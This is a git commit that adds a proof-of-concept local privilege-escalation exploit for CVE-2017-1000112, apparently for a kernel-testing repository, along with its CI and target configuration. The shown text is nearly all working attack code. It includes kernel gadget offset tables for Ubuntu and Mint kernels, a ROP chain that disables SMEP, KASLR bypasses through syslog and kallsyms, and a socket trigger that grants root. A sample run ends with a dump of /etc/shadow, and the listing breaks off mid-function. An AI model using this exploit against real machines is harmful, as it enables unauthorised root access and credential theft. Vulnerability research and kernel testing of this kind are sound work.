Add CVE-2017-1000112

2019-08-19 22:33:39 +02:00
parent 162e38f148
commit 9f3c1044df
4 changed files with 910 additions and 0 deletions
--- a/.travis.yml
+++ b/.travis.yml
@@ -23,6 +23,7 @@ env:
  matrix:
    - EXPLOIT=CVE-2017-16995
    - EXPLOIT=CVE-2016-5195
+    - EXPLOIT=CVE-2017-1000112

 before_script:
  - go get -u code.dumpstack.io/tools/out-of-tree
--- a/CVE-2017-1000112/.out-of-tree.toml
+++ b/CVE-2017-1000112/.out-of-tree.toml
@@ -0,0 +1,18 @@
+name = "CVE-2017-1000112"
+type = "exploit"
+
+# TODO: the exploit also supports Ubuntu 14.04.
+
+[[supported_kernels]]
+distro_type = "Ubuntu"
+distro_release = "16.04"
+release_mask = "4.4.0-(81|89)-.*"
+
+[[supported_kernels]]
+distro_type = "Ubuntu"
+distro_release = "16.04"
+release_mask = "4.8.0-(34|36|39|41|45|46|49|51|52|53|54|56|58)-.*"
+# 4.8.0-42 and 4.8.0-44 are missing from 34-58 range.
+
+[mitigations]
+disable_smap = true
--- a/CVE-2017-1000112/CVE-2017-1000112.c
+++ b/CVE-2017-1000112/CVE-2017-1000112.c
@@ -0,0 +1,884 @@
+// A proof-of-concept local root exploit for CVE-2017-1000112.
+// Includes KASLR and SMEP bypasses. No SMAP bypass.
+// Tested on:
+// - Ubuntu trusty 4.4.0 kernels
+// - Ubuntu xenial 4.4.0 and 4.8.0 kernels
+// - Linux Mint rosa 4.4.0 kernels
+// - Linux Mint sarah 4.8.0 kernels
+// - Zorin OS 12.1 4.4.0-39 kernel
+//
+// Usage:
+// user@ubuntu:~$ uname -a
+// Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
+// user@ubuntu:~$ whoami
+// user
+// user@ubuntu:~$ id
+// uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
+// user@ubuntu:~$ gcc pwn.c -o pwn
+// user@ubuntu:~$ ./pwn 
+// [.] starting
+// [.] checking kernel version
+// [.] kernel version '4.8.0-58-generic' detected
+// [~] done, version looks good
+// [.] checking SMEP and SMAP
+// [~] done, looks good
+// [.] setting up namespace sandbox
+// [~] done, namespace sandbox set up
+// [.] KASLR bypass enabled, getting kernel addr
+// [~] done, kernel text:   ffffffffae400000
+// [.] commit_creds:        ffffffffae4a5d20
+// [.] prepare_kernel_cred: ffffffffae4a6110
+// [.] SMEP bypass enabled, mmapping fake stack
+// [~] done, fake stack mmapped
+// [.] executing payload ffffffffae40008d
+// [~] done, should be root now
+// [.] checking if we got root
+// [+] got r00t ^_^
+// root@ubuntu:/home/user# whoami
+// root
+// root@ubuntu:/home/user# id
+// uid=0(root) gid=0(root) groups=0(root)
+// root@ubuntu:/home/user# cat /etc/shadow
+// root:!:17246:0:99999:7:::
+// daemon:*:17212:0:99999:7:::
+// bin:*:17212:0:99999:7:::
+// sys:*:17212:0:99999:7:::
+// ...
+//
+// Andrey Konovalov <andreyknvl@gmail.com>
+// ---
+// Updated by <bcoles@gmail.com>
+// - support for distros based on Ubuntu kernel
+// - additional kernel targets
+// - additional KASLR bypasses
+// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2017-1000112
+
+#define _GNU_SOURCE
+
+#include <fcntl.h>
+#include <sched.h>
+#include <stdarg.h>
+#include <stdbool.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#include <linux/socket.h>
+#include <netinet/ip.h>
+#include <sys/klog.h>
+#include <sys/mman.h>
+#include <sys/utsname.h>
+
+#define DEBUG
+
+#ifdef DEBUG
+#	define dprintf printf
+#else
+#	define dprintf
+#endif
+
+#define ENABLE_KASLR_BYPASS		1
+#define ENABLE_SMEP_BYPASS		1
+
+char* SHELL = "/bin/bash";
+
+// Will be overwritten if ENABLE_KASLR_BYPASS is enabled.
+unsigned long KERNEL_BASE =		0xffffffff81000000ul;
+
+// Will be overwritten by detect_kernel().
+int kernel = -1;
+
+struct kernel_info {
+	const char* distro;
+	const char* version;
+	uint64_t commit_creds;
+	uint64_t prepare_kernel_cred;
+	uint64_t xchg_eax_esp_ret;
+	uint64_t pop_rdi_ret;
+	uint64_t mov_dword_ptr_rdi_eax_ret;
+	uint64_t mov_rax_cr4_ret;
+	uint64_t neg_rax_ret;
+	uint64_t pop_rcx_ret;
+	uint64_t or_rax_rcx_ret;
+	uint64_t xchg_eax_edi_ret;
+	uint64_t mov_cr4_rdi_ret;
+	uint64_t jmp_rcx;
+};
+
+struct kernel_info kernels[] = {
+	{ "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d },
+	{ "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 },
+	{ "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
+	{ "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
+	{ "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
+	{ "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 },
+	{ "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 },
+	{ "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b },
+	{ "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
+	{ "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
+	{ "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b },
+	{ "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
+	{ "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
+	{ "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
+	{ "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
+	{ "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
+	{ "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
+	{ "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
+	{ "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
+	{ "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
+	{ "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
+	{ "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
+	{ "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
+	{ "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
+	{ "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
+	{ "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
+	{ "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
+	{ "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
+	{ "trusty", "4.4.0-87-generic", 0x9ec20, 0x9ef00, 0x8a, 0x253b93, 0x109a17, 0x1a840, 0x3e7cda, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
+	{ "trusty", "4.4.0-89-generic", 0x9ec30, 0x9ef10, 0x8a, 0x3ec5cF, 0x109a27, 0x1a830, 0x3e7fba, 0x1cc7c, 0x77523, 0x49d1d, 0x62360, 0x1a77b },
+	{ "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },
+	{ "xenial", "4.4.0-89-generic", 0xa28a0, 0xa2c90, 0x8a, 0x33e60d, 0x112777, 0x1b9b0, 0x403a1a, 0x1de5c, 0x7a483, 0x1084e5, 0x645b0, 0x3083d },
+	{ "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
+	{ "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
+	{ "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
+	{ "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
+	// { "xenial", "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x4149ad, 0x1191f7, 0x1b170, 0x439d7a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df1b },
+	// { "xenial", "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df17 },
+	{ "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 },
+	{ "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
+	{ "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
+	{ "xenial", "4.8.0-51-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
+	{ "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
+	{ "xenial", "4.8.0-53-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x01b170, 0x43a0da, 0x63e843, 0x07bd03, 0x12c7d7, 0x64210, 0x49f60 },
+	{ "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
+	{ "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
+	{ "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
+};
+
+// Used to get root privileges.
+#define COMMIT_CREDS			(KERNEL_BASE + kernels[kernel].commit_creds)
+#define PREPARE_KERNEL_CRED		(KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
+
+// Used when ENABLE_SMEP_BYPASS is used.
+// - xchg eax, esp ; ret
+// - pop rdi ; ret
+// - mov dword ptr [rdi], eax ; ret
+// - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret
+// - neg rax ; ret
+// - pop rcx ; ret 
+// - or rax, rcx ; ret
+// - xchg eax, edi ; ret
+// - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
+// - jmp rcx
+#define XCHG_EAX_ESP_RET		(KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret)
+#define POP_RDI_RET			(KERNEL_BASE + kernels[kernel].pop_rdi_ret)
+#define MOV_DWORD_PTR_RDI_EAX_RET	(KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret)
+#define MOV_RAX_CR4_RET			(KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret)
+#define NEG_RAX_RET			(KERNEL_BASE + kernels[kernel].neg_rax_ret)
+#define POP_RCX_RET			(KERNEL_BASE + kernels[kernel].pop_rcx_ret)
+#define OR_RAX_RCX_RET			(KERNEL_BASE + kernels[kernel].or_rax_rcx_ret)
+#define XCHG_EAX_EDI_RET		(KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret)
+#define MOV_CR4_RDI_RET			(KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret)
+#define JMP_RCX				(KERNEL_BASE + kernels[kernel].jmp_rcx)
+
+// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
+
+typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
+typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
+
+void get_root(void) {
+	((_commit_creds)(COMMIT_CREDS))(
+	    ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
+}
+
+// * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * *
+
+uint64_t saved_esp;
+
+// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
+// can be used to omit a function's prologue, so I had to use this weird
+// wrapper hack as a workaround. Note: Clang does support it, which means it
+// has better support of GCC attributes than GCC itself. Funny.
+void wrapper() {
+	asm volatile ("					\n\
+	payload:					\n\
+		movq %%rbp, %%rax			\n\
+		movq $0xffffffff00000000, %%rdx		\n\
+		andq %%rdx, %%rax			\n\
+		movq %0, %%rdx				\n\
+		addq %%rdx, %%rax			\n\
+		movq %%rax, %%rsp			\n\
+		call get_root				\n\
+		ret					\n\
+	" : : "m"(saved_esp) : );
+}
+
+void payload();
+
+#define CHAIN_SAVE_ESP				\
+	*stack++ = POP_RDI_RET;			\
+	*stack++ = (uint64_t)&saved_esp;	\
+	*stack++ = MOV_DWORD_PTR_RDI_EAX_RET;
+
+#define SMEP_MASK 0x100000
+
+#define CHAIN_DISABLE_SMEP			\
+	*stack++ = MOV_RAX_CR4_RET;		\
+	*stack++ = NEG_RAX_RET;			\
+	*stack++ = POP_RCX_RET;			\
+	*stack++ = SMEP_MASK;			\
+	*stack++ = OR_RAX_RCX_RET;		\
+	*stack++ = NEG_RAX_RET;			\
+	*stack++ = XCHG_EAX_EDI_RET;		\
+	*stack++ = MOV_CR4_RDI_RET;
+
+#define CHAIN_JMP_PAYLOAD                     \
+	*stack++ = POP_RCX_RET;               \
+	*stack++ = (uint64_t)&payload;        \
+	*stack++ = JMP_RCX;
+
+void mmap_stack() {
+	uint64_t stack_aligned, stack_addr;
+	int page_size, stack_size, stack_offset;
+	uint64_t* stack;
+
+	page_size = getpagesize();
+
+	stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1);
+	stack_addr = stack_aligned - page_size * 4;
+	stack_size = page_size * 8;
+	stack_offset = XCHG_EAX_ESP_RET % page_size;
+
+	stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE,
+			MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
+	if (stack == MAP_FAILED || stack != (void*)stack_addr) {
+		dprintf("[-] mmap()\n");
+		exit(EXIT_FAILURE);
+	}
+
+	stack = (uint64_t*)((char*)stack_aligned + stack_offset);
+
+	CHAIN_SAVE_ESP;
+	CHAIN_DISABLE_SMEP;
+	CHAIN_JMP_PAYLOAD;
+}
+
+// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
+
+struct ubuf_info {
+	uint64_t callback;	// void (*callback)(struct ubuf_info *, bool)
+	uint64_t ctx;		// void *
+	uint64_t desc;		// unsigned long
+};
+
+struct skb_shared_info {
+	uint8_t nr_frags;	// unsigned char
+	uint8_t tx_flags;	// __u8
+	uint16_t gso_size;	// unsigned short
+	uint16_t gso_segs;	// unsigned short
+	uint16_t gso_type;	// unsigned short
+	uint64_t frag_list;	// struct sk_buff *
+	uint64_t hwtstamps;	// struct skb_shared_hwtstamps
+	uint32_t tskey;		// u32
+	uint32_t ip6_frag_id;	// __be32
+	uint32_t dataref;	// atomic_t
+	uint64_t destructor_arg; // void *
+	uint8_t frags[16][17];	// skb_frag_t frags[MAX_SKB_FRAGS];
+};
+
+struct ubuf_info ui;
+
+void init_skb_buffer(char* buffer, unsigned long func) {
+	struct skb_shared_info* ssi = (struct skb_shared_info*)buffer;
+	memset(ssi, 0, sizeof(*ssi));
+
+	ssi->tx_flags = 0xff;
+	ssi->destructor_arg = (uint64_t)&ui;
+	ssi->nr_frags = 0;
+	ssi->frag_list = 0;
+
+	ui.callback = func;
+}
+
+// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
+
+#define SHINFO_OFFSET 3164
+
+void oob_execute(unsigned long payload) {
+	char buffer[4096];
+	memset(&buffer[0], 0x42, 4096);
+	init_skb_buffer(&buffer[SHINFO_OFFSET], payload);
+
+	int s = socket(PF_INET, SOCK_DGRAM, 0);
+	if (s == -1) {
+		dprintf("[-] socket()\n");
+		exit(EXIT_FAILURE);
+	}
+
+	struct sockaddr_in addr;
+	memset(&addr, 0, sizeof(addr));
+	addr.sin_family = AF_INET;
+	addr.sin_port = htons(8000);
+	addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
+
+	if (connect(s, (void*)&addr, sizeof(addr))) {
+		dprintf("[-] connect()\n");
+		exit(EXIT_FAILURE);
+	}
+
+	int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
+	int rv = send(s, buffer, size, MSG_MORE);
+	if (rv != size) {
+		dprintf("[-] send()\n");
+		exit(EXIT_FAILURE);
+	}
+
+	int val = 1;
+	rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));
+	if (rv != 0) {
+		dprintf("[-] setsockopt(SO_NO_CHECK)\n");
+		exit(EXIT_FAILURE);
+	}
+
+	send(s, buffer, 1, 0);
+
+	close(s);
+}
+
+// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
+
+#define CHUNK_SIZE 1024
+
+int read_file(const char* file, char* buffer, int max_length) {
+	int f = open(file, O_RDONLY);
+	if (f == -1)
+		return -1;
+	int bytes_read = 0;
+	while (true) {
+		int bytes_to_read = CHUNK_SIZE;
+		if (bytes_to_read > max_length - bytes_read)
+			bytes_to_read = max_length - bytes_read;
+		int rv = read(f, &buffer[bytes_read], bytes_to_read);
+		if (rv == -1)
+			return -1;
+		bytes_read += rv;
+		if (rv == 0)
+			return bytes_read;
+	}
+}
+
+#define LSB_RELEASE_LENGTH 1024
+
+void get_distro_codename(char* output, int max_length) {
+	char buffer[LSB_RELEASE_LENGTH];
+	char* path = "/etc/lsb-release";
+	int length = read_file(path, &buffer[0], LSB_RELEASE_LENGTH);
+	if (length == -1) {
+               dprintf("[-] open/read(%s)\n", path);
+               exit(EXIT_FAILURE);
+	}
+	const char *needle = "DISTRIB_CODENAME=";
+	int needle_length = strlen(needle);
+	char* found = memmem(&buffer[0], length, needle, needle_length);
+	if (found == NULL) {
+		dprintf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n");
+		exit(EXIT_FAILURE);
+	}
+	int i;
+	for (i = 0; found[needle_length + i] != '\n'; i++) {
+		if (i >= max_length) {
+			exit(EXIT_FAILURE);
+		}
+		if ((found - &buffer[0]) + needle_length + i >= length) {
+			exit(EXIT_FAILURE);
+		}
+		output[i] = found[needle_length + i];
+	}
+}
+
+struct utsname get_kernel_version() {
+	struct utsname u;
+	int rv = uname(&u);
+	if (rv != 0) {
+		dprintf("[-] uname()\n");
+		exit(EXIT_FAILURE);
+	}
+	return u;
+}
+
+#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
+
+#define DISTRO_CODENAME_LENGTH 32
+
+void detect_kernel() {
+	char codename[DISTRO_CODENAME_LENGTH];
+	struct utsname u;
+
+	u = get_kernel_version();
+
+	if (strstr(u.machine, "64") == NULL) {
+		dprintf("[-] system is not using a 64-bit kernel\n");
+		exit(EXIT_FAILURE);
+	}
+
+	if (strstr(u.version, "-Ubuntu") == NULL) {
+		dprintf("[-] system is not using an Ubuntu kernel\n");
+		exit(EXIT_FAILURE);
+	}
+
+	if (strstr(u.version, "14.04.1")) {
+		strcpy(&codename[0], "trusty");
+	} else if (strstr(u.version, "16.04.1")) {
+		strcpy(&codename[0], "xenial");
+	} else {
+		get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);
+
+		// Linux Mint kernel release mappings
+		if (!strcmp(&codename[0], "qiana"))
+			strcpy(&codename[0], "trusty");
+		if (!strcmp(&codename[0], "rebecca"))
+			strcpy(&codename[0], "trusty");
+		if (!strcmp(&codename[0], "rafaela"))
+			strcpy(&codename[0], "trusty");
+		if (!strcmp(&codename[0], "rosa"))
+			strcpy(&codename[0], "trusty");
+		if (!strcmp(&codename[0], "sarah"))
+			strcpy(&codename[0], "xenial");
+		if (!strcmp(&codename[0], "serena"))
+			strcpy(&codename[0], "xenial");
+		if (!strcmp(&codename[0], "sonya"))
+			strcpy(&codename[0], "xenial");
+	}
+
+	int i;
+	for (i = 0; i < ARRAY_SIZE(kernels); i++) {
+		if (strcmp(&codename[0], kernels[i].distro) == 0 &&
+		    strcmp(u.release, kernels[i].version) == 0) {
+			dprintf("[.] kernel version '%s' detected\n", kernels[i].version);
+			kernel = i;
+			return;
+		}
+	}
+
+	dprintf("[-] kernel version not recognized\n");
+	exit(EXIT_FAILURE);
+}
+
+#define PROC_CPUINFO_LENGTH 4096
+
+// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
+int smap_smep_enabled() {
+	char buffer[PROC_CPUINFO_LENGTH];
+	char* path = "/proc/cpuinfo";
+	int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
+	if (length == -1) {
+		dprintf("[-] open/read(%s)\n", path);
+		exit(EXIT_FAILURE);
+	}
+	int rv = 0;
+	char* found = memmem(&buffer[0], length, "smep", 4);
+	if (found != NULL)
+		rv += 1;
+	found = memmem(&buffer[0], length, "smap", 4);
+	if (found != NULL)
+		rv += 2;
+	return rv;
+}
+
+void check_smep_smap() {
+	int rv = smap_smep_enabled();
+	if (rv >= 2) {
+		dprintf("[-] SMAP detected, no bypass available\n");
+		exit(EXIT_FAILURE);
+	}
+#if !ENABLE_SMEP_BYPASS
+	if (rv >= 1) {
+		dprintf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n");
+		exit(EXIT_FAILURE);
+	}
+#endif
+}
+
+// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
+
+#define SYSLOG_ACTION_READ_ALL 3
+#define SYSLOG_ACTION_SIZE_BUFFER 10
+
+bool mmap_syslog(char** buffer, int* size) {
+	*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
+	if (*size == -1) {
+		dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
+		return false;
+	}
+
+	*size = (*size / getpagesize() + 1) * getpagesize();
+	*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
+				   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+
+	*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
+	if (*size == -1) {
+		dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
+		return false;
+	}
+
+	return true;
+}
+
+unsigned long get_kernel_addr_trusty(char* buffer, int size) {
+	const char* needle1 = "Freeing unused";
+	char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
+	if (substr == NULL) return 0;
+
+	int start = 0;
+	int end = 0;
+	for (end = start; substr[end] != '-'; end++);
+
+	const char* needle2 = "ffffff";
+	substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
+	if (substr == NULL) return 0;
+
+	char* endptr = &substr[16];
+	unsigned long r = strtoul(&substr[0], &endptr, 16);
+
+	r &= 0xffffffffff000000ul;
+
+	return r;
+}
+
+unsigned long get_kernel_addr_xenial(char* buffer, int size) {
+	const char* needle1 = "Freeing unused";
+	char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
+	if (substr == NULL) {
+		return 0;
+	}
+
+	int start = 0;
+	int end = 0;
+	for (start = 0; substr[start] != '-'; start++);
+	for (end = start; substr[end] != '\n'; end++);
+
+	const char* needle2 = "ffffff";
+	substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
+	if (substr == NULL) {
+		return 0;
+	}
+
+	char* endptr = &substr[16];
+	unsigned long r = strtoul(&substr[0], &endptr, 16);
+
+	r &= 0xfffffffffff00000ul;
+	r -= 0x1000000ul;
+
+	return r;
+}
+
+unsigned long get_kernel_addr_syslog() {
+	unsigned long addr = 0;
+	char* syslog;
+	int size;
+
+	dprintf("[.] trying syslog...\n");
+
+	if (!mmap_syslog(&syslog, &size))
+		return 0;
+
+	if (strcmp("trusty", kernels[kernel].distro) == 0)
+		addr = get_kernel_addr_trusty(syslog, size);
+	if (strcmp("xenial", kernels[kernel].distro) == 0)
+		addr = get_kernel_addr_xenial(syslog, size);
+
+	if (!addr)
+		dprintf("[-] kernel base not found in syslog\n");
+
+	return addr;
+}
+
+// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
+
+unsigned long get_kernel_addr_kallsyms() {
+	FILE *f;
+	unsigned long addr = 0;
+	char dummy;
+	char sname[256];
+	char* name = "startup_64";
